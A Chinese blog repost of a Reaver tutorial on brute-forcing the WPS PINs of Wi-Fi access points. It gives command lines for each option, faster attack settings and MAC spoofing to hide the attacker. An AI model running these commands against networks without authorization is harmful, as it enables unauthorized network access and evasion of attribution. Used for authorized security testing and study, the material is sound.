reaver-wps

reaver-wps概述Reaver是暴力破解接入点PIN码的一种工具。这里简单说明,PIN码是8位数字,且第8位是由校验和,由前7位可以推出。而前7位又分为4和3两部分,所以暴力尝试最多10000+1000=11000次即可完成,破解所需的时间通常在2-5小时。支持的网卡驱动完全支持ath9krtl8187carl19170ipw2000rt2800pcirt73usb部分支持ath5kiwlagn

大家好,又见面了,我是你们的朋友全栈君。

概述

Reaver是暴力破解接入点PIN码的一种工具。这里简单说明,PIN码是8位数字,且第8位是由校验和,由前7位可以推出。而前7位又分为4和3两部分,所以暴力尝试最多10000+1000=11000次即可完成,破解所需的时间通常在2-5小时。

支持的网卡驱动

完全支持

  • ath9k
  • rtl8187
  • carl19170
  • ipw2000
  • rt2800pci
  • rt73usb

部分支持

  • ath5k
  • iwlagn
  • rtl2800usb
  • b43

不支持

  • iwl4965
  • RT3070L
  • Netgear WG111v3

安装

Reaver只支持linux平台,需要libpcap和libsqlite库,可以下命令编译安装:

$ ./configure
$ make
# make install

卸载删除可使用命令;

# make distclean

命令参数

  • 一般情况下,reaver需要的参数只有接口名和目标接入点的BSSID(MAC地址):
# reaver -i mon0 -b 00:01:02:03:04:05
  • 如果没有明确指定,reaver会自动识别目标接入点的信道和网络名(前提是接入点没有隐藏SSID)。可用如下命令指定信道和网络名:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
  • 默认情况下,如果接入点改变了信道,reaver也会相应地改变信道。然而当使用–fixed参数时,此功能会被禁用掉:
# reaver -i mon0 -b 00:01:02:03:04:05 --fixed
  • 默认情况下的超时时间是5秒,使用以下命令则可以手动设置(最小为1秒):
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2
  • 默认的pin码尝试延迟间隔是1秒,这个时间可以用以下命令设定为任何非负数,0表示没有延迟:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0
  • 当发现一些可疑活动时,有些接入点会暂时锁定它们的WPS状态,通常小于5分钟。默认情况下,此时reaver会每隔315秒(5分15秒)检查一次状态,直到锁定状态解除再开始暴力破解。检查的时间间隔可以通过以下命令来调整任意一个非负值:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
  • 使用-vv参数可以显示更多信息,将每个正在尝试的pin码显示出来:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv
  • 默认情况下,接收M5和M7 WPS反应的时间间隔是0.1秒,可通过下列命令调节(最大是1秒):
# reaver -i mon0 -b 00:01:02:03:04:05 -T .5
  • 必要的时候,需要通过发送一个EAP FAIL的信息来关闭一个WPS会话,默认情况下此功能是不开启的,可通过以下命令开启:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
  • 对每10个连续的unexpected WPS提示信息,会有一个warning。这可能是因为接入点限制了pin或者过载了,此时往往需要通过短时间的sleep来解决:
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

实战用法

基本用法

首先,开启monitor模式:

# airmon-ng start wlan0

使用reaver需要指定接入点MAC地址以及monitor接口名:

# reaver -i mon0 -b 00:01:02:03:04:05

或者使用-vv参数获得详细的进度信息:

# reaver -i mon0 -b 00:01:02:03:04:05 -vv

加速攻击

默认情况下,reaver的pin码尝试间隔为1秒,我们可以通过使用’-d 0‘参数来除去时间间隔。但是可能会使接入点出现问题:

# reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0

另一种加速攻击的方法是使用–dh-small。这个参数选项会使reaver尝试小的diffie-hellman密码,从而减轻接入点的计算负荷。

# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small

MAC地址欺骗

有时我们可能需要隐藏自己的MAC地址,reaver用-mac参数来支持此功能。注意:改变虚拟的monitor接口的MAC地址没有什么用,必须要改变物理接口的MAC地址,如:

# ifconfig wlan0 down
# ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69
# ifconfig wlan0 up
# airmon-ng start wlan0
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --mac=00:BA:AD:BE:EF:69
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/135901.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Date与时间戳的相互转换[通俗易懂]

    Date与时间戳的相互转换[通俗易懂]1、Date对象转换为时间戳Datedate=newDate();longtimes=date.getTime();System.out.println(times);效果如下:15088242832922、时间戳转换为Date日期对象longtimes=System.currentTimeMillis();Datedate=newDate(times);System.out.println(date);…

    2022年6月21日
    227
  • 数据统计的视觉盛宴—visifire charts

    数据统计的视觉盛宴—visifire charts上文中我给大家展示了微软提供的开源toolkit中图表控件的效果和使用,但是与fusioncharts相比效果还是显得逊色。本篇将介绍另一种charts控件库—visifirecharts。visifire控件库不仅涵盖wpf/silverlight,还有windowsphone的版本(由此可见将wpf的代码移植到silverlight和windowsphone上是一个非…

    2022年7月21日
    14
  • 噪声熵和损失熵的定义_归一化信噪比

    噪声熵和损失熵的定义_归一化信噪比利用K-L散度(相对熵)确定VMD分解信号的K值和惩罚因子alpha,得到一组信号分量;计算各个分量的样本熵,根据样本熵的值,选取出噪声主导分量和有效分量;对噪声主导信号进行非局部均值(NLM)去噪;将去噪后的信号分量与剩余的有效信号分量进行重构得到去噪信号。

    2025年6月8日
    2
  • python爬虫代码运行_怎么运行python爬虫程序

    python爬虫代码运行_怎么运行python爬虫程序python 爬虫程序运行有两种方式 1 在 python 交互式命令行下直接输入 python 代码回车运行 2 在命令行中使用 python 文件名 py python 运行有两种方式 一种是在 python 交互式命令行下运行 另一种是使用文本编辑器 在命令行中直接运行 注意 以上两种运行方式 都是以 CPython 解释器来编译运行的 当然也可以将 python 代码写入到 eclipse 中 使用 JPython 解

    2025年6月3日
    1
  • 分析了10万条B站UP主数据后,我知道了成为百万粉丝UP主的一些秘密「建议收藏」

    分析了10万条B站UP主数据后,我知道了成为百万粉丝UP主的一些秘密「建议收藏」前几天一位好朋友入了B站,问我如何才能成为一名百万粉丝的up主。这不,于是我做了这篇的一些分析,知道了成为百万粉丝up主的一些小秘密。还做了一个昵称生成器,给其昵称起名提供建议。这是她的b站视频截图:关于昵称起名我的想法是这样,是我们把B站这些百万粉丝大佬的昵称分析一下成分构成,根据相关性随机起个名,是不是就有百万粉丝up主昵称的那味了?上面截图是她改名前的昵称,是否会改名,改名后叫什么咱们拭目以待。咱们现在就开始爬取整整:B站up主信息爬取直接通过b站首页去爬是很不方便的,这里我找到了两个第

    2022年6月12日
    49
  • latex公式 换行

    latex公式 换行latex公式换行方案1:方案2:添加了对齐的功能:

    2025年7月1日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号